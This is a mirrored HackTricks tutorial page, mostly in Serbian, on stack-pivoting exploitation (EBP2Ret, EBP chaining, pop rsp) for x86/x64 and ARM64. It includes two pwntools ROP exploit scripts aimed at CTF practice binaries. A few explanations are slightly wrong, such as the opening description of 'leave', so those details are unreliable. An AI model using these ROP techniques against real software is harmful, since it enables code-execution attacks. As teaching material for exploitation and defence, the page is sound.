mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
225 lines
9.4 KiB
Markdown
225 lines
9.4 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Osnovne informacije
|
|
|
|
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivu upotrebu EBP registra i **`leave; ret`** instrukcijske sekvence.
|
|
|
|
Kao podsetnik, **`leave`** u suštini znači:
|
|
```
|
|
mov ebp, esp
|
|
pop ebp
|
|
ret
|
|
```
|
|
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
|
|
|
### EBP2Ret
|
|
|
|
Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje.
|
|
|
|
Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\
|
|
Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
|
|
|
|
#### Exploit Construction
|
|
|
|
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiće prvi `ret`**.
|
|
|
|
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
|
|
|
|
- Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
|
|
- Adresu **`system()`** praćenu sa **4 junk bajta** i adresom `"/bin/sh"` (x86 bitovi).
|
|
- Adresu **`jump esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti.
|
|
- Neki [**ROP**](../rop-return-oriented-programing/index.html) lanac.
|
|
|
|
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće iskoristiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja.
|
|
|
|
#### Off-By-One Exploit
|
|
|
|
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa više ograničenim uslovima.\
|
|
Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.
|
|
|
|
Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraj kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši.
|
|
|
|
### **EBP Chaining**
|
|
|
|
Dakle, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**.
|
|
|
|
Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to iskoristili, moguće je staviti na kontrolisano mesto ESP ovo:
|
|
|
|
- **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
|
|
- **`system()`** -> Pozvan od strane `ret`
|
|
- **`&(leave;ret)`** -> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi
|
|
- **`&("/bin/sh")`**-> Parametar za `system`
|
|
|
|
U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-a kako bi se kontrolisao tok programa.
|
|
|
|
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
|
|
|
|
Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of anoter fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leak address in RBP
|
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
## EBP možda neće biti korišćen
|
|
|
|
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat.\
|
|
To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
|
|
|
|
- **Nije optimizovan:**
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
- **Optimizovano:**
|
|
```bash
|
|
push %ebx # save ebx
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore ebx
|
|
ret # return
|
|
```
|
|
## Druge metode za kontrolu RSP
|
|
|
|
### **`pop rsp`** gadget
|
|
|
|
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg \<reg>, rsp gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
### jmp esp
|
|
|
|
Proverite ret2esp tehniku ovde:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
## Reference i Ostali Primeri
|
|
|
|
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
|
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
|
- 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovu "večnu" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
|
|
|
|
## ARM64
|
|
|
|
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u stacku. Štaviše, **`RET`** instrukcija ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
|
|
|
|
Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
|
|
|
|
- prolog
|
|
|
|
```armasm
|
|
sub sp, sp, 16
|
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
|
mov x29, sp // FP pokazuje na okvir zapisa
|
|
```
|
|
|
|
- epilog
|
|
|
|
```armasm
|
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
|
add sp, sp, 16
|
|
ret
|
|
```
|
|
|
|
> [!CAUTION]
|
|
> Način da se izvede nešto slično pivotovanju stacka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz stacka i imamo overflow) i zatim **zloupotrebljavati epilog** da učitamo **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
|
|
|
|
Takođe na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|